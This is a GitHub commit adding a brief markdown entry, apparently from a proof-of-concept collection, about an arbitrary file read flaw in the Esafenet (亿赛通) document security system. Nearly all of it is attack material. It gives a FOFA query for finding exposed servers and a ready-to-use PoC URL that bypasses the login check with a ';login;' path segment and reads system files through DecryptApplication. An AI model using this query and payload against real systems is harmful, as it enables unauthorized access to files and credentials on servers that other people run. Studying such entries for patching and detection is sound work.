Create 亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞.md

This commit is contained in:
wy876 2024-03-14 16:03:50 +08:00 committed by GitHub
parent 840075a99e
commit c6449babc0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,11 @@
## 亿赛通电子文档安全管理系统DecryptApplication存在任意文件读取漏洞
## fofa
```
app="亿赛通电子文档安全管理系统"
```
## poc
```
http://ip/CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C:///Windows/win.ini&uploadFileId=1&fileName1=test1111
```